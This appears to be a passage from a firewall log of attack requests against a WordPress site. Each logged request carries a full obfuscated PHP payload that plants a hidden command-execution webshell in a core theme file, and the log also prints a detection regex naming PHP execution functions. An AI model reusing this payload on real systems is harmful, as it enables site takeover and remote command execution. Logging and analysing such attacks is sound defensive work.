.%2520%2524component6%2520.%2520%2524component7%2520.%2520%2524component5%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%25277%2527%2520.%2520%2524component6%2520.%2520%2524component5%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524component5%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524component10%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25277%2527%2520.%2520%2524component1%2529%253B%2524event_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524component1%2520.%2520%2524component6%2520.%2520%2524component9%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524component2%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component13%2520.%2520%2524component2%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%2524component3%2520.%2520%25275%2527%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524component13%2520.%2520%2524component6%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25277%2527%2520.%2520%2524component12%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524event_handler1%2529%2529%257B%2524event_handler1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler2%2529%2529%257Bprint%2520%2524event_handler2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler3%2529%2529%257B%2524event_handler3%2528%2524query_handler%252C%2524ent_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_val%2529%253B%257Delseif%2528function_exists%2528%2524event_handler4%2529%2529%257B%2524event_handler4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler5%2529%2526%2526function_exists%2528%2524event_handler6%2529%2526%2526function_exists%2528%2524event_handler7%2529%2529%257B%2524tkn_entity%253D%2524event_handler5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524tkn_entity%2529%257B%2524object_rec%253D%2524event_handler6%2528%2524tkn_entity%2529%253B%2524event_handler7%2528%2524tkn_entity%2529%253Bprint%2520%2524object_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn1tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:9346\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nkX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/theme-compat\/footer-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%25273%2527%253B%2524component2%2520%253D%2520%25277%2527%253B%2524component3%2520%253D%2520%25279%2527%253B%2524component4%2520%253D%2520%25274%2527%253B%2524component5%2520%253D%2520%25275%2527%253B%2524component6%2520%253D%2520%25276%2527%253B%2524component7%2520%253D%2520%2527d%2527%253B%2524component8%2520%253D%2520%25278%2527%253B%2524component9%2520%253D%2520%2527c%2527%253B%2524component10%2520%253D%2520%2527f%2527%253B%2524component11%2520%253D%2520%25270%2527%253B%2524component12%2520%253D%2520%25272%2527%253B%2524component13%2520%253D%2520%25271%2527%253B%2524event_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component1%2520.%2520%2524component2%2520.%2520%2524component3%2520.%2520%25277%2527%2520.%2520%2524component1%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component6%2520.%2520%2524component7%2529%253B%2524event_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component2%2520.%2520%2524component1%2520.%2520%2524component6%2520.%2520%2524component8%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component6%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524component9%2520.%2520%2524component5%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%2524component5%2520.%2520%2524component2%2520.%2520%2524component8%2520.%2520%2524component6%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524event_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component2%2520.%2520%2524component8%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524event_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component11%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524component2%2520.%2520%25273%2527%2520.%2520%2524component2%2520.%2520%25274%2527%2520.%2520%2524component6%2520.%2520%2524component8%2520.%2520%25277%2527%2520.%2520%2524component12%2520.%2520%2524component2%2520.%2520%25275%2527%2529%253B%2524event_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component2%2520.%2520%25270%2527%2520.%2520%2524component6%2520.%2520%2524component10%2520.%2520%2524component2%2520.%2520%2524component11%2520.%2520%2524component6%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2529%253B%2524event_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component1%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%2524component12%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524component6%2520.%2520%2524component7%2520.%2520%2524component5%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%25277%2527%2520.%2520%2524component6%2520.%2520%2524component5%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524component5%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524component10%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25277%2527%2520.%2520%2524component1%2529%253B%2524event_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524component1%2520.%2520%2524component6%2520.%2520%2524component9%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524component2%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component13%2520.%2520%2524component2%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%2524component3%2520.%2520%25275%2527%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524component13%2520.%2520%2524component6%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25277%2527%2520.%2520%2524component12%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524event_handler1%2529%2529%257B%2524event_handler1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler2%2529%2529%257Bprint%2520%2524event_handler2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler3%2529%2529%257B%2524event_handler3%2528%2524query_handler%252C%2524ent_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_val%2529%253B%257Delseif%2528function_exists%2528%2524event_handler4%2529%2529%257B%2524event_handler4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler5%2529%2526%2526function_exists%2528%2524event_handler6%2529%2526%2526function_exists%2528%2524event_handler7%2529%2529%257B%2524tkn_entity%253D%2524event_handler5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524tkn_entity%2529%257B%2524object_rec%253D%2524event_handler6%2528%2524tkn_entity%2529%253B%2524event_handler7%2528%2524tkn_entity%2529%253Bprint%2520%2524object_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:59:01","113.22.137.197","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/theme-compat\/footer-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%25273%2527%253B%2524component2%2520%253D%2520%25277%2527%253B%2524component3%2520%253D%2520%25279%2527%253B%2524component4%2520%253D%2520%25274%2527%253B%2524component5%2520%253D%2520%25275%2527%253B%2524component6%2520%253D%2520%25276%2527%253B%2524component7%2520%253D%2520%2527d%2527%253B%2524component8%2520%253D%2520%25278%2527%253B%2524component9%2520%253D%2520%2527c%2527%253B%2524component10%2520%253D%2520%2527f%2527%253B%2524component11%2520%253D%2520%25270%2527%253B%2524component12%2520%253D%2520%25272%2527%253B%2524component13%2520%253D%2520%25271%2527%253B%2524event_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component1%2520.%2520%2524component2%2520.%2520%2524component3%2520.%2520%25277%2527%2520.%2520%2524component1%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component6%2520.%2520%2524component7%2529%253B%2524event_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component2%2520.%2520%2524component1%2520.%2520%2524component6%2520.%2520%2524component8%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component6%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524component9%2520.%2520%2524component5%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%2524component5%2520.%2520%2524component2%2520.%2520%2524component8%2520.%2520%2524component6%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524event_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component2%2520.%2520%2524component8%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524event_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component11%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524component2%2520.%2520%25273%2527%2520.%2520%2524component2%2520.%2520%25274%2527%2520.%2520%2524component6%2520.%2520%2524component8%2520.%2520%25277%2527%2520.%2520%2524component12%2520.%2520%2524component2%2520.%2520%25275%2527%2529%253B%2524event_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component2%2520.%2520%25270%2527%2520.%2520%2524component6%2520.%2520%2524component10%2520.%2520%2524component2%2520.%2520%2524component11%2520.%2520%2524component6%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2529%253B%2524event_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component1%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%2524component12%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524component6%2520.%2520%2524component7%2520.%2520%2524component5%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%25277%2527%2520.%2520%2524component6%2520.%2520%2524component5%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524component5%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524component10%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25277%2527%2520.%2520%2524component1%2529%253B%2524event_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524component1%2520.%2520%2524component6%2520.%2520%2524component9%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524component2%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component13%2520.%2520%2524component2%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%2524component3%2520.%2520%25275%2527%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524component13%2520.%2520%2524component6%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25277%2527%2520.%2520%2524component12%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524event_handler1%2529%2529%257B%2524event_handler1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler2%2529%2529%257Bprint%2520%2524event_handler2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler3%2529%2529%257B%2524event_handler3%2528%2524query_handler%252C%2524ent_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_val%2529%253B%257Delseif%2528function_exists%2528%2524event_handler4%2529%2529%257B%2524event_handler4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler5%2529%2526%2526function_exists%2528%2524event_handler6%2529%2526%2526function_exists%2528%2524event_handler7%2529%2529%257B%2524tkn_entity%253D%2524event_handler5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524tkn_entity%2529%257B%2524object_rec%253D%2524event_handler6%2528%2524tkn_entity%2529%253B%2524event_handler7%2528%2524tkn_entity%2529%253Bprint%2520%2524object_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoxVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:9346\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nnB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/theme-compat\/footer-embed.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524component1%2520%253D%2520%25273%2527%253B%2524component2%2520%253D%2520%25277%2527%253B%2524component3%2520%253D%2520%25279%2527%253B%2524component4%2520%253D%2520%25274%2527%253B%2524component5%2520%253D%2520%25275%2527%253B%2524component6%2520%253D%2520%25276%2527%253B%2524component7%2520%253D%2520%2527d%2527%253B%2524component8%2520%253D%2520%25278%2527%253B%2524component9%2520%253D%2520%2527c%2527%253B%2524component10%2520%253D%2520%2527f%2527%253B%2524component11%2520%253D%2520%25270%2527%253B%2524component12%2520%253D%2520%25272%2527%253B%2524component13%2520%253D%2520%25271%2527%253B%2524event_handler1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component1%2520.%2520%2524component2%2520.%2520%2524component3%2520.%2520%25277%2527%2520.%2520%2524component1%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component6%2520.%2520%2524component7%2529%253B%2524event_handler2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component2%2520.%2520%2524component1%2520.%2520%2524component6%2520.%2520%2524component8%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component6%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524component9%2520.%2520%2524component5%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%2524component5%2520.%2520%2524component2%2520.%2520%2524component8%2520.%2520%2524component6%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524event_handler3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527%2520.%2520%2524component5%2520.%2520%2524component2%2520.%2520%2524component8%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524event_handler4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component11%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524component2%2520.%2520%25273%2527%2520.%2520%2524component2%2520.%2520%25274%2527%2520.%2520%2524component6%2520.%2520%2524component8%2520.%2520%25277%2527%2520.%2520%2524component12%2520.%2520%2524component2%2520.%2520%25275%2527%2529%253B%2524event_handler5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524component2%2520.%2520%25270%2527%2520.%2520%2524component6%2520.%2520%2524component10%2520.%2520%2524component2%2520.%2520%2524component11%2520.%2520%2524component6%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2529%253B%2524event_handler6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component1%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%2524component12%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%2524component6%2520.%2520%2524component7%2520.%2520%2524component5%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%25277%2527%2520.%2520%2524component6%2520.%2520%2524component5%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%2524component5%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524component10%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%2524component2%2520.%2520%2524component4%2520.%2520%25277%2527%2520.%2520%2524component1%2529%253B%2524event_handler7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%2524component1%2520.%2520%2524component6%2520.%2520%2524component9%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524component2%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524component13%2520.%2520%2524component2%2520.%2520%2524component5%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%2524component3%2520.%2520%25275%2527%2520.%2520%2524component10%2520.%2520%2524component6%2520.%2520%25278%2527%2520.%2520%25276%2527%2520.%2520%2524component13%2520.%2520%2524component6%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%2524component4%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2524component5%2520.%2520%25277%2527%2520.%2520%2524component12%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524query_handler%255D%2529%253Bif%2528function_exists%2528%2524event_handler1%2529%2529%257B%2524event_handler1%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler2%2529%2529%257Bprint%2520%2524event_handler2%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler3%2529%2529%257B%2524event_handler3%2528%2524query_handler%252C%2524ent_val%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524ent_val%2529%253B%257Delseif%2528function_exists%2528%2524event_handler4%2529%2529%257B%2524event_handler4%2528%2524query_handler%2529%253B%257Delseif%2528function_exists%2528%2524event_handler5%2529%2526%2526function_exists%2528%2524event_handler6%2529%2526%2526function_exists%2528%2524event_handler7%2529%2529%257B%2524tkn_entity%253D%2524event_handler5%2528%2524query_handler%252C%2522r%2522%2529%253Bif%2528%2524tkn_entity%2529%257B%2524object_rec%253D%2524event_handler6%2528%2524tkn_entity%2529%253B%2524event_handler7%2528%2524tkn_entity%2529%253Bprint%2520%2524object_rec%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%